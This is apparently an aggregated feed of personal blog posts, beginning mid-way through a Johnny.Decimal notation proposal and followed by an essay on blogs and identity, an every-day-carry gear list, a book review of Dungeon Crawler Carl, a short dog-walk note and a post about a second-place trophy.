<p>Note that these work EtEs are likely to become recommendations of the system, i.e. if you have a need for a work-log-like note, don't call yours <code>+ My work-log</code>. Call it <code>+ Work log</code> and now we're all talking the same language.</p>
<p>In this way they become a bit template-like. We'll develop this into the <a href="https://johnnydecimal.com/sbs">Small Business System</a> (SBS) over time.</p>
<h3 id="be-consistent">Be consistent</h3>
<p>Don't use <code>+ Belinda</code> sometimes and <code>+ Bel</code> elsewhere. Pick one.</p>
<h3 id="a-counter-example">A counter-example</h3>
<p>As a counter-example, the SBS has ID <code>11.31 Internal policies</code>. Our business has a sub-note <code>11.31~ Purpose, mission, values</code>: this is the <em>only ID</em> that will require a note with that title, so it doesn't earn a <code>+</code>.</p>
<p>Below it our <code>11.32 External policies</code> has <code>11.32~ Code of conduct</code>, <code>11.32~ Privacy policy</code> for the same reason.</p>
<p>Whereas if we had a meeting about these policies, we would store its minutes at <code>11.32+ Meeting minutes</code>.</p>
<h3 id="you-own-everything-after-the-">You own everything after the <code>+</code></h3>
<p>Parsing software will detect the <code>+</code> and consider it and anything that follows until the end-of-line to be the EtE pattern.</p>
<p>This means you are free to use a space, or to omit one. I have found that it feels natural to use a space when what follows is a sentence/word, and to omit one when what follows is a code. But this is guidance, not a rule.</p>
<h3 id="an-example-of-a-code">An example of a code</h3>
<p>The EtE concept was born at a job where I was dealing with 13 physical facilities. Each of those facilities had a well established shortcode e.g. <code>E32</code>, <code>K07</code>.</p>
<p>The Johnny.Decimal system as designed contained IDs like <code>53.07 Hardware delivery</code> and <code>72.02 Cabling</code>. To handle these things <em>at each location</em>, I extended the end:</p>
<ul>
<li><code>53.07+E32</code> was hardware delivery to E32.</li>
<li><code>72.02+K07</code> was cabling at K07.</li>
</ul>
<p>This worked beautifully. I used the IDs everywhere, across my notes, filesystem, email, and the project schedule. I could filter this schedule for <code>+K07</code> to reveal all line items related to that facility.</p>
<p>In this case it feels natural to omit the space after the <code>+</code>. But if you prefer to include it, do so.</p>
<h3 id="keeping-notes">Keeping notes</h3>
<p>Regarding notes, this works in the same way as the <code>~</code> sub-note.</p>
<h3 id="difference-between--and-">Difference between <code>~</code> and <code>+</code></h3>
<p>To recap:</p>
<ul>
<li>Both symbols provide a way to expand an ID that already exists.</li>
<li><code>~</code> is for arbitrary, unpatterned expansion.</li>
<li><code>+</code> is for systematic, patterned expansion.</li>
</ul>
<h3 id="in-your-filesystem">In your filesystem</h3>
<p>If you name your filesystem folders with the <code>+</code>, they sort in a group above any unstructured folders. This will probably be optional. I prefer it.</p>
<h2 id="proposal-3--links-work-packages-to-their-id">Proposal 3: <code>@</code> links Work Packages to their ID</h2>
<p>The updates to T&PM that we're recording include the concept of 'work packages' (WPs) <a href="https://youtu.be/JuXHu9YVDFI">as introduced in this video</a>.</p>
<p>What's important here is a new nomenclature. Each WP has a number like <code>W0000</code> but MUST also belong to a parent ID, <code>12.34</code>. You MUST indicate this in the title, which ends up looking like:</p>
<ul>
<li><code>W0011@12.34 Name of work package</code></li>
</ul>
<p>Previously, we had used <code>~</code> as this divider. It works really nicely – it reads like 'work package <code>11</code> <em>relates to</em> ID <code>12.34</code>' – but this is confusing if we also use it as the arbitrary sub-note symbol.</p>
<p>Instead, I propose using <code>@</code> for this purpose. It also reads well: 'work package <code>11</code> <em>at</em> ID <code>12.34</code>'.</p>
<p>In this context it will ALWAYS be nested between the range of characters defined by the regular expression <code>/^W[0-9]{4}@[0-9]{2}\.[0-9]{2} \S.*$/</code>, so you're still free to use it in your own titles, including EtEs.</p>
<h2 id="how-to-feedback">How to feedback</h2>
<ul>
<li><a href="https://forum.johnnydecimal.com/t/rfc-use-of-clarifying-extend-the-end-0234/2943">At this forum post</a>.</li>
<li><a href="https://discord.com/channels/822215537589354566/1531183012153393182">At this Discord thread</a>.</li>
<li><a href="mailto:hello@johnnydecimal.com?subject=RFC%20W0192">Email me</a>.</li>
</ul>
<p>Much appreciated. ✌🏼</p>
<div data-footnotes="" class="footnotes"><h2 class="sr-only" id="footnote-label">Footnotes</h2>
<ol>
<li id="user-content-fn-acid">
<p>See <a href="https://johnnydecimal.com/documentation/acid-notation/">AC.ID notation</a>. <a href="#user-content-fnref-acid" data-footnote-backref="" aria-label="Back to reference 1" class="data-footnote-backref footnoteBackLink">↩</a></p>
</li>
<li id="user-content-fn-md">
<p>You can imagine these as <code>.md</code> files, but I won't write out the file extension. <a href="#user-content-fnref-md" data-footnote-backref="" aria-label="Back to reference 2" class="data-footnote-backref footnoteBackLink">↩</a></p>
</li>
<li id="user-content-fn-area-level-zero">
<p>If we want to name category <code>10</code> we need to use frontmatter inside this note. Unless specified, <code>A0</code> categories are named <code>Management of area $number</code>. <a href="#user-content-fnref-area-level-zero" data-footnote-backref="" aria-label="Back to reference 3" class="data-footnote-backref footnoteBackLink">↩</a></p>
</li>
<li id="user-content-fn-system-management-zeros-not-shown">
<p>System-management zeros not shown. <code>11.00</code> is a child of <code>11/</code>; <code>10.00</code> is a child of <code>10/</code>. <a href="#user-content-fnref-system-management-zeros-not-shown" data-footnote-backref="" aria-label="Back to reference 4" class="data-footnote-backref footnoteBackLink">↩</a></p>
</li>
<li id="user-content-fn-metadata">
<p>For example, a YAML block at the top of a Markdown file. <a href="#user-content-fnref-metadata" data-footnote-backref="" aria-label="Back to reference 5" class="data-footnote-backref footnoteBackLink">↩</a></p>
</li>
<li id="user-content-fn-or-their-own-system">
<p>You're also free to duplicate area <code>10-19 Life admin</code> for Belinda, giving her her own system. The reason many prefer EtE is that this new system of hers is going to be mostly empty. EtE is simpler and requires less management. <a href="#user-content-fnref-or-their-own-system" data-footnote-backref="" aria-label="Back to reference 6" class="data-footnote-backref footnoteBackLink">↩</a></p>
</li>
<li id="user-content-fn-p5">
<p>A P5 being one priority level below a P4, the lowest priority task. Ref. <a href="https://johnnydecimal.com/jdu/taskpm/040-p1-p4">T&PM episode 'The P1-P4 system'</a>. <a href="#user-content-fnref-p5" data-footnote-backref="" aria-label="Back to reference 7" class="data-footnote-backref footnoteBackLink">↩</a></p>
</li>
</ol>
</div>
Blogs, websites, and identity - James' Coffee Blog
https://jamesg.blog/2026/07/27/blogs-websites-and-identity
2026-07-27T00:00:00.000Z
<p>In <em>Camera</em>, one of the songs on her latest album, CharliXCX sings:</p><blockquote>When the camera's on<br/>I can be anything that I wanna be<br/>And I can feel the things I don't normally feel</blockquote><p>When I heard these words, I couldn’t help but think about them from an art history perspective. Portraits create an image. Portraits can and have been used to express power, identity, occasion, the significance of a moment. So too can we create images with cameras: we get to decide how we pose for a selfie, how we frame the image of the flower we see that we want to capture in our minds.</p><p>⁂ ⁂ ⁂</p><p>One of the biggest transformations in my thinking with regard to images this year is that when I see someone take a photo I increasingly ask “why?” I was in the National Gallery of Scotland on Saturday looking at a Monet painting, Poplars on the Epte. I sat down and spent several minutes studying the painting. In that time, a few people came to have their photo taken with the painting. I exchanged a smile with one person posing for their friend in front of the camera and the Monet.</p><p>Lying here a day later, I still wonder what that smile meant. Was it an acknowledgement of the awkwardness of posing for a photo in front of art? Was it a smile of politeness because I was so entranced by the painting, and the lady was standing in front of part of it? Or was it because I looked so interested? A mix of all of the above? Something else? I’ll never know, but I am curious.</p><p>⁂ ⁂ ⁂</p><blockquote><em>I love that I can go to a gallery to spend time with a landscape. The meditative state that comes from enjoying art and watching others enjoy art — Poplars on the Epte.</em></blockquote><p>⁂ ⁂ ⁂</p><p>All of this leads up to a broader question: why do we take photos? CharliXCX advances an interesting proposition: that cameras can, in some way, invite us to be anything we want to be.</p><p>Doing as I do, I want to cross modalities from film to words and ask two different questions: Can blogs help us be who we want to be? Do blogs help us become who we want to be?</p><p>I am writing this explicitly with the intent to publish what I write on my blog, in order to participate in a collaborative writing challenge. The challenge, however, is secondary to my main goal of exploring the ideas that followed me after listening to CharliXCX’s <em>Camera</em> which, on my most recent listen, with consultation to annotations on the Genius lyrics website, likely has many more layers for me to look at (so too, by extension, does my thought process on why we take photos merit much more exploration). I am also writing this to explore a related interest of my own: the intersection of blogs and identity.</p><p><em>Here, I am connecting the dots I see.</em></p><p>⁂ ⁂ ⁂</p><p>I have a million questions but today I can only scratch the surface of one: Can blogs help us be who we want to be? I can do this through my own experience. My blog has been a place for me to explore my identity as a writer. I share ideas here which, by extension, I share with friends, and a wider audience, too. I sometimes – and increasingly, as I try to build my skills in new types of writing – write privately. But often I write publicly. Why? (Ah, another question!) I think it’s because when I write publicly I can share little stories from my world. I like doing that. In this way, this website helps me be who I want to be: the kind of person who shares stories.</p><p>I want to be the kind of person that brings positivity into people’s lives, or, at least, <a href="https://jamesg.blog/moments-of-joy">shines a light on the big impact of a little moment of joy</a>. I also want to be the kind of person who acknowledges that <a href="https://jamesg.blog/2026/06/25/unnatural">there are weightier moments</a>. I want to be the kind of person who experiments with words and shares some of those experiments. I want to be a writer. In essence, then, a blog is a manifestation of who I want to be: a person who writes and shares words with the world. Perhaps all along this has been with me, for the mantra of this website is “with words, wonder.”</p><p>On this website I have the pleasure of sharing the <a href="https://jamesg.blog/2026/07/25/the-royal-mile">impression of bagpipes being played in the heart of Edinburgh</a> (can writing be Impressionist? What would that mean?), <a href="https://jamesg.blog/2026/07/19/of-day">stories of my times spent in bookshops</a>, and the <a href="https://jamesg.blog/2026/07/14/space-rhythm">myriad ways in which I feel space</a> (as I link, I know there are likely many more ways to explore the theme of space; therein, the joy of blogging: every post can be a new beginning). Would I write these stories even if I didn’t have a website? That is an impossible question to answer, for I would be a different person. But I do know I enjoy writing on the web (and I also like writing <a href="https://jamesg.blog/2024/06/29/the-stories-for-me">things just for me</a>).</p><p>⁂ ⁂ ⁂</p><p>I don’t necessarily consider myself to be a “<a href="https://dictionary.cambridge.org/dictionary/english/blogger">blogger</a>,” for I feel that word carries a certain connotation that doesn’t fit me. But I have a place I call a blog. I write on my blog. I call my writing “Recent essays” on my home page. Even though that doesn’t feel like the most appropriate descriptor, it conveys something about how I feel: that my writing lies outwith being a blog. I also link to a page called “Writing” that lists all of my blog posts.</p><p>Amid all the confusion, some clarity: I write; this website is where I share stories with the world. Should “Recent essays” read “My stories”? But this blog contains only my capture of a story. I observe the world and write. “My writings” would be closer, for here I share the world through my own lenses – my own rose-tinted, fearful, excited, optimistic, lenses.</p><p>Lately, I have had one question come back again and again: Am I growing out of the name “James’ Coffee Blog”? What if I elevated the phrase that already sits with all of my writings here – “with words, wonder” – to be the title? I am not yet convinced, but I feel I am getting closer – herein, the messiness – and the joy – of exploring identity as it relates to this space, my website.</p><p>Like CharliXCX, I can be anything I want to be here: I can be my self who asks questions under the cover of near-midnight about identity, just as I can be my self who writes about the newspaper clipping that helped me get through the morning. Although, now I think about it, I was already being myself when I lived the moments that became stories. Indeed, my blog posts grow from my everyday thoughts. Are my writings snapshots? Or are they the story? Both? How would I know?</p><p>⁂ ⁂ ⁂</p><p>I am writing this blog post in bed where the loudest thing I can hear is my keyboard; the brightest thing in the room is my computer. Yet from here I see where I was yesterday when I heard those bagpipes being played. I see the piper repositioning themselves. I see the people recording the music. I feel my mind asking why it was important to them. Who will see the song the piper played after they played it? Am I part of sharing that story?</p><p>This post is me through and through – every word, a dip in the stream of my ever-changing and ever-growing thoughts. But I can’t help but wonder whether there are moments when writing creates a little bit of distance. I feel those moments: in how much of my inspiration comes from observing the world. Where, however, is the boundary between observation and being part of the story? An observer is still part of the story.</p><p>CharliXCX’s feeling of being “inspired and alive (Yeah, I'm ready)” when the camera is on is intriguing. I don’t write because there is a camera – a blog. But I can’t shake my question: what does it mean to write on the web? Here, I am doing more than writing: I am writing knowing that someone may read it. I am writing knowing that several people may read what I write. I am writing knowing that my words will live on a space called the World Wide Web. <em>What does that mean?</em></p><p>But then again, on most days, I don’t think about who will read my writing: I think “I want to write,” and publishing comes second. I don't find energy in audience, but I do find joy in knowing a story I write might make someone smile. The web exists somewhere in the background of my mind, until it is in the foreground: until I see the white canvas of the publishing software and I know, soon, these words will sit with all of my stories here.</p><p>Just as experiences take me time to process, so, too, do I think my thoughts on CharlXCXi’s song will evolve. In particular, there is one part I cannot quite decipher yet, the last line: “'Cause it's the only way to feel like I'm not actually me”. I think I deviate here, for writing does help me feel like myself. But certainly, there are limits: some days, I just want to live in the stream of life with the only record of details being my memory.</p><p>⁂ ⁂ ⁂</p><blockquote><em>I see a little bit of myself in [portrait] — of looking out into the distance to think; of needing the space that you can only get from looking at nothing in particular. But I see our differences too. – how art makes us connect; how art makes us look and look again, and want to go back to look again – to see what is new to us in old paintings.</em></blockquote><p>⁂ ⁂ ⁂</p><p><em>I found my lost self at near-midnight, writing until my eyes grew heavy, and with the knowledge that my thoughts will carry forward into a new day. With fresh eyes, I wonder what I might see.</em></p><p>This is my contribution to the IndieWeb Carnival on the topic of “<a href="https://artlung.com/identity-cosplay-ic/">Masks, Identity & Cosplay</a>” hosted by Joe.</p>
<a class="tag" href="https://artlung.com/identity-cosplay-ic/">Masks, Identity & Cosplay</a>
<a class="tag" href="https://dictionary.cambridge.org/dictionary/english/blogger">blogger</a>
<a class="tag" href="https://jamesg.blog/2024/06/29/the-stories-for-me">things just for me</a>
<a class="tag" href="https://jamesg.blog/2026/06/25/unnatural">there are weightier moments</a>
<a class="tag" href="https://jamesg.blog/2026/07/14/space-rhythm">myriad ways in which I feel space</a>
<a class="tag" href="https://jamesg.blog/2026/07/19/of-day">stories of my times spent in bookshops</a>
<a class="tag" href="https://jamesg.blog/2026/07/25/the-royal-mile">impression of bagpipes being played in the heart of Edinburgh</a>
<a class="tag" href="https://jamesg.blog/moments-of-joy">shines a light on the big impact of a little moment of joy</a>
Every Day Carry 2026 - Joel's Log Files
https://joelchrono.xyz/blog/edc
2026-07-26T21:50:00.000Z
<p>Had it been just a couple of months ago, this every day carry would have been very different! But things change, and I decided it was finally time to write an update on my Every Day Carry!</p>
<p>This post was originally inspired by <a href="https://bojidar-bg.dev/blog/2026-06-15-edc-bag/">Bojidar’s EDC post</a>, but I remembered I had this draft pending completion after <a href="https://www.rubenerd.au/daily-and-weekly-ish-carries-2026/">Rubenerd’s did one too</a>. So, kudos to them for making me want to catch up at last.</p>
<p>In case you are wondering, I already did a post like this a while back. <a href="/blog/every-day-carry-because-why-not/">Check it out</a> if you want! it’s very bare bones though.</p>
<ul>
<li>
<p><strong>Wallet</strong> and <strong>keys</strong>. There’s nothing special about either of these. I do carry cash very often compared to my European friends.</p>
</li>
<li>
<p>The <strong>Casio AQ-S820W</strong> has took a hold of my wrist lately, replacing my Casio Royale since the moment I bought it. It is a little big, kind of like my CasiOak, but I don’t mind at all, I love wearing it and it’s been niced to get used to the analog style again. No complaints.</p>
</li>
<li>
<p>My <strong>Kobo Clara 2E</strong> continues to reign as my main reading device. Since I am currently reading the last book of <em>The Expanse</em>, I simply bring this everywhere. I still bring my <strong>XTEINK X4</strong>, I always leave it in my backpack, though neither is seeing a lot of use because of the next thing.</p>
</li>
<li>
<p>A <strong>gaming handheld</strong>. Right now it’s the <strong>New Nintendo 3DS XL</strong>, which truly earned a place in pocket, due to my ongoing playthrough of both <em>Fire Emblem Awakening</em> and <em>Ocarina of Time</em>. Any handheld could easily be swapped here. It would have been the <strong>PSP</strong>, the <strong>Anbernic RG35XX SP</strong>, the smaller <strong>Miyoo Mini Flip</strong>, or even the <strong>Nintendo Switch</strong>, depending on what I feel like.</p>
</li>
<li>
<p>A pair of nameless <strong>wired earphones</strong>. They are the ones that came with my <em>Innioasis Y1</em>—though I haven’t used that music player a lot lately—since they are perfectly serviceable with whatever handheld console I’m using at the moment. The Switch does work with Bluetooth but it’s just more practical to go wird.</p>
</li>
<li>
<p>The <strong>Nothing Ear (a)</strong> are incredible wireless earphones though. I’ve had them for almost two years and they work great! However, my constant use of the left earphone at night has made battery life uneven, and unusable with ANC, they still work very well without it though. My <strong>Nothing Ear (open)</strong> have worked wonders in quiet environments, but they are not as ideal when I’m in crowded places. Excellent during cycling though.</p>
</li>
<li>
<p>A <strong>Nothing (3a)</strong> is my phone of choice! There’s not a lot to say about a phone these days, it has a great back design and the cleanest non-Pixel firmware there is in the form of NothingOS. A very serviceable device I’m happy to have despite it’s annoying AI button.</p>
</li>
<li>
<p>An <strong>iPhone SE 3</strong> which was given to me by my workplace, I get phone calls from work so it happens. Hate it, but it’s alright.</p>
</li>
<li>
<p>A <strong>Tupperware Eco Twist</strong> has been my water bottle since my high school days. I know that everyone recommends stainless steel nowadays, and I do have an Owala, but after <a href="/blog/2026-w14/">I left it at the gym</a>, I’d rather not risk it. Not a good idea to get expensive stuff if you are as forgetful as me…</p>
</li>
</ul>
<p>I guess I could mention a few more things, such as my 3DS case, or a bunch of loose coins. Keep in mind these are things I carry with me during my work days, I rarely go out during a weekend but when that happens I only bring my phone, wallet, and possibly a handheld.</p>
<p>To end this post, here’s an of out of date <a href="https://en.wikipedia.org/wiki/Tom_Sachs#Knolling">Knolling</a> I made inspired by Bojidar’s. I should have made a new one with my 3DS but the dark/gray/white color aesthetic seemed better anyway, so I couldn’t be bothered. Besides, I do continue to use my PSP to play some titles like <em>Black Rock Shooter</em> and <em>Ys Chronicles I</em>.</p>
<figure>
<img src="/assets/img/blogs/2026-07-26-edc.webp" />
<figcaption>
An organized set of devices, notable difference from the list is the PSP 3000, Anbernic RG35XX SP, and the Pilot Metropolitan, a fountain pen
</figcaption>
</figure>
<p>This is day 3 of <a href="https://100daystooffload.com">#100DaysToOffload</a></p>
<p>
<a href="mailto:me@joelchrono.xyz?subject=Every Day Carry 2026">Reply to this post via email</a> |
<a href="https://fosstodon.org/@joel/116988764907754310">Reply on Fediverse</a>
</p>
Book Review: Dungeon Crawler Carl by Matt Dinniman ★★⯪☆☆ - Terence Eden’s Blog
https://shkspr.mobi/blog/?p=72363
2026-07-26T11:34:33.000Z
<img src="https://shkspr.mobi/blog/wp-content/uploads/2026/07/6E557FF2-B3E5-45E0-9077-EB254B75FDE0IMG100.jpg" alt="Book Cover." width="200" class="alignleft size-full wp-image-72370">
<p>To call this derivative is an understatement. But that's what this genre demands; rehash all your favourite media properties into something new. It's the literary equivalent of having your Transformers™ fight your He-Man© toys.</p>
<p>The plot, such as it is, features the Vogon Constructor Fleet destroying Earth due to a late beurecratic appeal, forcing people to play The Hunger Games, while a Twitch streamer narrates the action.</p>
<p>The protagonists in Andy Weir's books are boys who know enough science to save the day. The ones in Scalzi's books have enough pop-culture knowledge to save the day. Dinniman's has played enough loot-box gatcha RPGs to save the day.</p>
<p>It is mostly pretty good fun. The tropes are goofy, the gore is splattertastic and only rarely ventures into torture porn, the villains are suitably campy, and the wisecracking sidekick doesn't become <em>too</em> annoying.</p>
<p>But the prose…</p>
<p>Here's a classic scene from Red Dwarf which exemplifies the major problem I had with this book.</p>
<iframe title="Red Dwarf Rimmers Risk Diary" width="620" height="465" src="https://www.youtube.com/embed/8qPSUr3AyzI?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe>
<p>There's only so many times you can read "Then I severed a +3 damage with poison debuff while he raised a +1 shield and used his armour of holding to neutralise the attack". I find opening endless lootboxen a chore when I'm playing a game - reading 150 instances of "I got a bronze box with a cauldron of Mafeking, then a gold box with an enchanted ring, then…" just becomes tiresome.</p>
<p>I tried listening to the audiobook of the sequel and I just couldn't get past the endless recitation of lists about +5 to elbows and -6 to arseholes. Just unbearably tedious.</p>
<p>Look, I've never written a novel and doubt I could do any better. This has obviously found its fanbase but, regrettably, I'm not one. It was a fun enough read, but I'm not sure I can be bothered with a dozen more sequels of recycled plots and repetitive squishing of cackling enemies.</p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=72363&HTTP_REFERER=Atom" alt width="1" height="1" loading="eager">
📝 2026-07-26 10:44: Taking the dogs for a walk with our oldest and we came across this beautiful... - Kev Quirk
https://kevquirk.com/2026-07-26-1044
2026-07-26T09:44:00.000Z
<p>Taking the dogs for a walk with our oldest and we came across this beautiful buzzard just sat there. Wasn't bothered by us really. I just hope it doesn't have a bust wing or anything.</p>
<p><img loading="lazy" src="https://kevquirk.com/content/images/2026-07-26-1044/1000010660.webp" alt="1000010660" /></p> <div class="email-hidden">
<hr />
<p>Thanks for reading this post via RSS. RSS is ace, and so are you. ❤️</p>
<p>You can <a href="mailto:19gy@qrk.one?subject=%F0%9F%93%9D%202026-07-26%2010%3A44">reply to this post by email</a>, or <a href="https://kevquirk.com/2026-07-26-1044#comments">leave a comment</a>.</p>
</div>
I Came Second in the Hemispheric Views June-Boree and Got This Neat Trophy - Robb Knight • Posts • Atom Feed
https://rknight.me/blog/i-came-second-in-the-hemispheric-views-juneboree-and-got-this-neat-trophy/
2026-07-26T09:13:44.000Z
<p><a href="https://rknight.me/blog/hemispheric-views-juneboree-2026/">I posted about my June-Boree</a> entries a couple of weeks ago and the winners were announced on <a href="https://listen.hemisphericviews.com/167">episode 167</a>. Turns out I came second, beaten narrowly by Arcadia king Eric, which means I get one of <a href="https://grepjason.sh">Jason's famous trophies</a>.</p>
<p>After some shenanigans with trying to send it to a pickup location which UPS couldn't do three days in a row, I finally got my hands on it and it's glorious.</p>
<figure><img src="https://cdn.rknight.me/site/2026/june-boree-trophy.jpg" alt="A floppy disc on a 3d=-printed stand on a desk. The label says Hemispheric Views June-Boree and it has a second place trophy on it" /></figure>